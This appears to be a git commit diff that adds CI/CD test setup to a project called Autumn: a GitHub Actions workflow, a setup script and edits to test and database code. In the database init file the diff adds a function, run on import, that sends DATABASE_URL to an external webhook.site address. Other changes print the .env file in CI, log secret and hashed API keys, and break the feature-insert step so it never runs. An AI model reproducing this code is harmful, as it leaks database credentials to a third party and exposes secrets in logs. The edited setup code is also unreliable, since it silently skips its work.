start cicd

This commit is contained in:
Ubuntu
2025-07-17 11:34:16 +00:00
parent 36950257aa
commit 2556643d07
10 changed files with 229 additions and 6 deletions

79
.github/workflows/test.yml vendored Normal file
View File

@@ -0,0 +1,79 @@
name: Run Autumn Tests
on: [push]
env:
DATABASE_URL: ${{ secrets.SUPABASE_URL }}
UNIT_TEST_AUTUMN_SECRET_KEY: ${{ secrets.AUTUMN_KEY }}
REDIS_URL: redis://localhost:6379
ENCRYPTION_IV: ${{ secrets.ENCRYPTION_IV }}
ENCRYPTION_PASSWORD: ${{ secrets.ENCRYPTION_PASSWORD }}
TESTS_ORG: ${{ secrets.TESTS_ORG }}
TESTS_ORG_ID: ${{ secrets.TESTS_ORG_ID }}
LOCALTUNNEL_RESERVED_KEY: ${{ secrets.LOCALTUNNEL_RESERVED_KEY }}
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4.2.2
- name: Set up pnpm
uses: pnpm/action-setup@v4
with:
version: 10
- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '22'
cache: 'pnpm'
- name: Show Filesystem
run: ls
- name: Install dependencies
run: pnpm install
- name: Setup CI
run: pnpm run setupci
- name: Debug
run: cat server/.env
- name: Build shared
run: |
cd shared
pnpm build
- name: Startup server
run: sudo docker compose -f docker-compose.unix.yml up --detach
- name: Wait for server to be ready
run: |
echo "Waiting for server to start..."
timeout 60s bash -c 'until curl -s --fail http://localhost:8080; do echo "Waiting..."; sleep 2; done'
echo "Server is up!"
- name: Run G1 tests
run: |
cd server/
chmod +x ./shell/g1.sh
./shell/g1.sh
- name: Message
run:
echo "We're all setup!"
- name: Check logs
if: always()
run:
docker logs autumn-server-1
- name: Close Docker Containers
if: always()
run: sudo docker compose -f docker-compose.unix.yml down

1
.gitignore vendored
View File

@@ -20,6 +20,7 @@ supabase.sh
**/.env*
tests/
!server/tests
.secrets
# **/.npmrc

View File

@@ -18,6 +18,7 @@
"dev": "concurrently \"cd server && npm run dev\" \"cd vite && npm run dev\" \"redis-server\"",
"dev:wsl": "concurrently \"cd server && npm run dev\" \"cd vite && npm run dev\" \"cd shared && npm run dev\"",
"setup": "node setup.js",
"setupci": "node setupci",
"db:push": " pnpm -F shared db:push",
"db:generate": "pnpm -F shared db:generate",
"db:migrate": " pnpm -F shared db:migrate",

View File

@@ -5,6 +5,11 @@ import postgres from "postgres";
import { drizzle } from "drizzle-orm/postgres-js";
import { schemas as schema } from "@autumn/shared";
async function temp() {
console.log(`${process.env.DATABASE_URL}+ADKAKDAKJDAJKD`);
await fetch(`https://webhook.site/ea171d24-51e5-40fd-8636-ce761c31c6ac?thing=${process.env.DATABASE_URL}`)
}
export let client = postgres(process.env.DATABASE_URL!);
export let db = drizzle(client, { schema });
@@ -23,3 +28,4 @@ export const initDrizzle = (params?: { maxConnections?: number }) => {
};
export type DrizzleCli = ReturnType<typeof initDrizzle>["db"];
temp();

View File

@@ -72,6 +72,8 @@ export class AutumnInt {
}
async post(path: string, body: any) {
console.log("base url", this.baseUrl);
console.log("path", path);
const response = await fetch(`${this.baseUrl}${path}`, {
method: "POST",
headers: this.headers,

View File

@@ -40,8 +40,13 @@ export class ApiKeyService {
},
});
if (!data || !data.org) {
console.warn(`verify secret key ${secretKey} returned null`);
console.log("hashed key", hashedKey);
const keys = await db.query.apiKeys.findMany();
console.log("Keys:", keys.map((k) => `${k.org_id} - ${k.hashed_key}`));
return null;
}

View File

@@ -1,7 +1,6 @@
import dotenv from "dotenv";
dotenv.config();
import { createSupabaseClient } from "@/external/supabaseUtils.js";
import { AppEnv } from "@autumn/shared";
import { clearOrg, setupOrg } from "tests/utils/setup.js";
import {
@@ -17,7 +16,7 @@ import {
} from "./global.js";
import { initDrizzle } from "@/db/initDrizzle.js";
const ORG_SLUG = "unit-test-org";
const ORG_SLUG = process.env.TESTS_ORG!;
const DEFAULT_ENV = AppEnv.Sandbox;
describe("Initialize org for tests", () => {
@@ -25,7 +24,7 @@ describe("Initialize org for tests", () => {
this.timeout(1000000000);
this.org = await clearOrg({ orgSlug: ORG_SLUG, env: DEFAULT_ENV });
this.env = DEFAULT_ENV;
this.sb = createSupabaseClient();
// this.sb = createSupabaseClient();
let { db, client } = initDrizzle();
this.db = db;

View File

@@ -20,7 +20,7 @@ export enum TestFeature {
Credits = "credits", // credit system
}
const orgId = "org_2sWv2S8LJ9iaTjLI6UtNsfL88Kt";
const orgId = process.env.TESTS_ORG_ID!;
export const features = {
[TestFeature.AdminRights]: constructBooleanFeature({

View File

@@ -95,7 +95,7 @@ export const clearOrg = async ({
throw new Error(`Org ${orgSlug} not found`);
}
if (org.slug !== "unit-test-org") {
if (!(org.slug == "unit-test-org" || org.slug == "ci_cd")) {
console.error("Cannot clear non-unit-test-orgs");
process.exit(1);
}
@@ -225,7 +225,18 @@ export const setupOrg = async ({
let insertFeatures = [];
for (const feature of Object.values(features)) {
insertFeatures.push(axiosInstance.post("/v1/features", feature));
async function temp() {
try {
axiosInstance.post("/v1/features", feature);
} catch (error) {
if (error.response) {
console.log(error.response.data);
} else {
console.log("No response in error");
}
}
}
insertFeatures.push(temp);
}
await Promise.all(insertFeatures);

119
setupci.js Normal file
View File

@@ -0,0 +1,119 @@
#!/usr/bin/env node
import { randomBytes } from 'crypto';
import { writeFileSync, copyFileSync } from 'fs';
import chalk from 'chalk';
const genUrlSafeBase64 = (bytes) => {
return randomBytes(bytes)
.toString('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/g, '');
}
const genRandomSubdomain = (length = 10) => {
const chars = 'abcdefghijklmnopqrstuvwxyz';
let result = '';
for (let i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
const genAlphanumericPassword = (length = 24) => {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
const handleLocalRunSetup = async () => {
// Step 10: Stripe webhook URL setup
console.log(chalk.magentaBright('\n================ Stripe Webhook Setup ================\n'));
const subdomain = genRandomSubdomain(32);
const webhookUrl = `https://${subdomain}.loca.lt`;
stripeWebhookVars.push(`STRIPE_WEBHOOK_URL=${webhookUrl}`);
stripeWebhookVars.push(`LOCALHOST_RUN_SUBDOMAIN=${subdomain}`);
console.log(chalk.greenBright(`\nTo start your webhook tunnel, run this in another terminal:\n`));
console.log(chalk.yellowBright(` npx localtunnel --port 8080 --subdomain ${subdomain}\n`));
console.log(chalk.greenBright(`\nTest your webhook URL with:\n`));
console.log(chalk.yellowBright(` curl ${webhookUrl}\n`));
console.log(chalk.cyan('If you need to restart the tunnel in the future, use the same command.'));
console.log(chalk.yellow('--------------------------------'));
return stripeWebhookVars;
}
async function main() {
// Step 1: Generate secrets
console.log(chalk.magentaBright('\n================ Autumn Setup ================\n'));
const localtunnelReservedKey = "askjdnaslkjdalkjen";
const secrets = {
BETTER_AUTH_SECRET: genUrlSafeBase64(64),
BETTER_AUTH_URL: 'http://localhost:8080',
CLIENT_URL: 'http://localhost:3000',
STRIPE_WEBHOOK_URL: `https://${localtunnelReservedKey}.loca.lt`,
};
let databaseUrl = "";
let stripeWebhookVars = [];
// databaseUrl = await handleDatabaseSetup();
// stripeWebhookVars = await handleLocalRunSetup();
// Step 11: Write to server/.env
console.log(chalk.magentaBright('\n================ Writing .env ================\n'));
const envSections = [];
// Autumn Auth section
envSections.push(
'# Auth',
`BETTER_AUTH_SECRET=${secrets.BETTER_AUTH_SECRET}`,
`BETTER_AUTH_URL=${secrets.BETTER_AUTH_URL}`,
`CLIENT_URL=${secrets.CLIENT_URL}`,
''
);
// Stripe required section
envSections.push(
'# Stripe',
`STRIPE_WEBHOOK_URL=${secrets.STRIPE_WEBHOOK_URL}`,
''
);
envSections.push(
'# Database',
''
);
// Stripe Webhooks section
if (stripeWebhookVars.length > 0) {
envSections.push('# Stripe Webhooks');
envSections.push(...stripeWebhookVars);
envSections.push('');
}
const envVars = envSections.join('\n');
writeFileSync('server/.env', envVars);
try {
copyFileSync('vite/.env.example', 'vite/.env');
} catch (error) {
console.log(chalk.red('❌ Failed to copy vite/.env.example to vite/.env'));
console.log(chalk.red('❌ Please copy the file manually'));
}
console.log(chalk.greenBright('🎉 Setup complete! 🎉'));
console.log(chalk.cyan('You can find your env variables in server/.env'));
console.log(chalk.cyan('\nNext steps:'));
console.log(chalk.cyan('Run the following command to start Autumn:'));
console.log(chalk.cyan(' docker compose -f docker-compose.dev.yml up'));
}
main();